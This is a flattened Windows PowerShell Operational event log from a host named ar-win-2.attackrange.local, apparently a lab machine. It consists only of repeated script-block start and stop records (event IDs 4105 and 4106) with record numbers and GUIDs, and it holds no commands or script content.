410515102150x0672270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 